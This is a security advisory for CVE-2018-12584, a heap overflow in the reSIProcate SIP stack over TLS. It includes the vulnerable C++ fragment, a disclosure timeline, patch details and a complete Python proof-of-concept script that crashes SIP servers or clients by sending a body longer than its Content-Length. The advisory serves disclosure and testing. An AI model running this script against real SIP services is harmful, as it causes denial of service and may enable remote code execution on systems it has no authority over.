CVE ID: CVE-2018-12584

TIMELINE

    Bug report with test code sent to main reSIProcate developers: 2018-06-15
    Patch created by Scott Godin: 2018-06-18
    CVE ID assigned: 2018-06-19
    Patch committed to reSIProcate repository: 2018-06-21
    Advisory first published on website: 2018-06-22
    Advisory sent to Bugtraq mailing list: 2018-08-08

DESCRIPTION

A heap overflow can be triggered in the reSIProcate SIP stack when TLS is
enabled.
Abuse of this vulnerability may cause a denial of service of software using
reSIProcate and may also lead to remote code execution.
No SIP user authentication is required to trigger the vulnerability on the
client or server side.

TECHNICAL DETAILS

The file resiprocate/resip/stack/ConnectionBase.cxx contained the following
code fragment:

bool
ConnectionBase::preparseNewBytes(int bytesRead)
{
/* ... */
         else if (mBufferPos == mBufferSize)
         {
            // .bwc. We've filled our buffer; go ahead and make more room.
            size_t newSize = resipMin(mBufferSize*3/2, contentLength);
            char* newBuffer = 0;
            try
            {
               newBuffer=new char[newSize];
            }
            catch(std::bad_alloc&)
            {
               ErrLog(>>"Failed to alloc a buffer while receiving body!");
               return false;
            }
            memcpy(newBuffer, mBuffer, mBufferSize);
            mBufferSize=newSize;
            delete [] mBuffer;
            mBuffer = newBuffer;
         }
/* ... */
}

Execution of the code above could be triggered by sending a partial SIP
message over TLS with a Content-Length header field, followed by sending a
packet over TLS with its associated SIP message body. By setting the
Content-Length field to a value that is lower than the length of the SIP
message body which followed, a malicious user could trigger a heap buffer
overflow.

The bug did not appear to be reproducible using TCP instead of TLS even when
the TCP packets were sent with delays between them.

TEST CODE

The following Python script can be used to test the vulnerability of both
server and client software based on reSIProcate.

#!/usr/bin/python3

# reSIProcate through 1.10.2 SIP over TLS heap overflow bug test code
# Written by Joachim De Zutter (2018)

from socket import *
from ssl import * # pip install pyopenssl

daemon_mode = False

# server to test (in case daemon_mode = False)
server = ""
port = 5061

# server configuration (in case daemon_mode = True)
server_ip = "xxx.xxx.xxx.xxx"
keyfile = "keyfile.pem"
certfile =  "certfile.pem"

username = "test"
via = "192.168.13.37:31337"
callid = "LtCwMvc2C5tca58a5Ridwg.."
cseq = 1

def trigger_server_heap_overflow(connection):
    global username, server, via, cseq
    print("Triggering heap overflow!")
    buffer_length = 100
    register_packet = "REGISTER sip:" + server + " SIP/2.0\x0d\x0aVia:
SIP/2.0/TCP " + via + "\x0d\x0aContact: <sip:" + username + "@" + via
+ ">\x0d\x0aTo: <sip:" + username + "@" + server +
";transport=TCP>\x0d\x0aFrom: <sip:" + username + "@" + server +
">\x0d\x0aCSeq: " + "%d" % cseq + " REGISTER\x0d\x0aExpires:
600\x0d\x0aContent-Length: %ld" % buffer_length + "\x0d\x0a\x0d\x0a"
    oversized_packet = buffer_length * "A" + 64 * "B"
    connection.send(register_packet.encode())
    cseq = cseq + 1
    connection.send(oversized_packet.encode())

def trigger_client_heap_overflow(connection):
    global username, via, callid, cseq
    print("Triggering heap overflow!")
    buffer_length = 100
    content_length_packet = "SIP/2.0 200 OK\x0d\x0aVia: SIP/2.0/TLS
10.0.2.15:32703;branch=z9hG4bK-524287-1---c04a0ad2231e66ab;rport\x0d\x0aFrom:
<sip:" + username + "@" + via +
";transport=TLS>;tag=00649d4d\x0d\x0aTo: <sip:" + username + "@" + via
+ ";transport=TLS>\x0d\x0aCall-ID: " + callid + "\x0d\x0aCSeq: 2
PUBLISH\x0d\x0aExpires: 600\x0d\x0aContent-Length: %ld" %
buffer_length + "\x0d\x0aSIP-ETag:
af6079e42f65e7e2340e92565570e295\x0d\x0a\x0d\x0a"
    oversized_packet = buffer_length * "A" + 64 * "B"
    connection.send(content_length_packet.encode())
    cseq = cseq + 1
    connection.send(oversized_packet.encode())
    connection.shutdown(SHUT_RDWR)
    connection.close()

def test_clients():
    global server_ip, keyfile, certfile
    server_socket=socket(AF_INET, SOCK_STREAM)
    server_socket.bind((server_ip, 5061))
    server_socket.listen(1)
    tls_server = wrap_socket(server_socket,
ssl_version=PROTOCOL_TLSv1, cert_reqs=CERT_NONE, server_side=True,
keyfile=keyfile, certfile=certfile)
    print("Server running!")
    done = False
    while not done:
        connection, client_address= tls_server.accept()
        print("Connection from " + client_address[0] + ":%d" %
client_address[1])
        data_in = connection.recv(1024)
        if not data_in:
            done = True
            break
        message = data_in.decode()
        if "SUBSCRIBE" in message:
            print("Client sent SUBSCRIBE request")
            trigger_client_heap_overflow(connection)

def test_server():
    global server, port
    context = create_default_context()
    context.check_hostname = False
    context.verify_mode = CERT_NONE
    tls_client = context.wrap_socket(socket(AF_INET), server_hostname=server)
    tls_client.connect((server, port))
    print("Connected!")
    trigger_server_heap_overflow(tls_client)
    tls_client.shutdown(SHUT_RDWR)
    tls_client.close()

def main():
    global daemon_mode
    if daemon_mode:
        test_clients()
    else:
        test_server()

if __name__ == "__main__":
    main()

EXPLOITABILITY

At http://joachimdezutter.webredirect.org/CVE-2018-12584-exploitability.html
the exploitability of an affected version of repro on Windows XP Professional
with Service Pack 3 was examined, it was separated from this text because AVG
Web Shield considered the text to be a threat. Arbitrary code execution has
proven to be possible and may be possible on other operating systems and
software based on affected versions of reSIProcate as well.

SOLUTION

A patch was created by Scott Godin, it was committed to the reSIProcate
repository at

https://github.com/resiprocate/resiprocate/commit/2cb291191c93c7c4e371e22cb89805a5b31d6608

The following software based on reSIProcate contains a fix for the issue:

3CX Phone System 15.5.13470.6 and higher

For Debian 8 "Jessie", CVE-2018-12584 and CVE-2017-11521 have been fixed in
resiprocate package version 1:1.9.7-5+deb8u1
(https://lists.debian.org/debian-lts-announce/2018/07/msg00031.html)

DISCLAIMER

The information in this report is believed to be accurate at the time of
publishing based on currently available information.
Use of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the author
nor the publisher accepts any liability for any direct, indirect, or
consequential loss or damage arising from use of, or reliance on, this
information.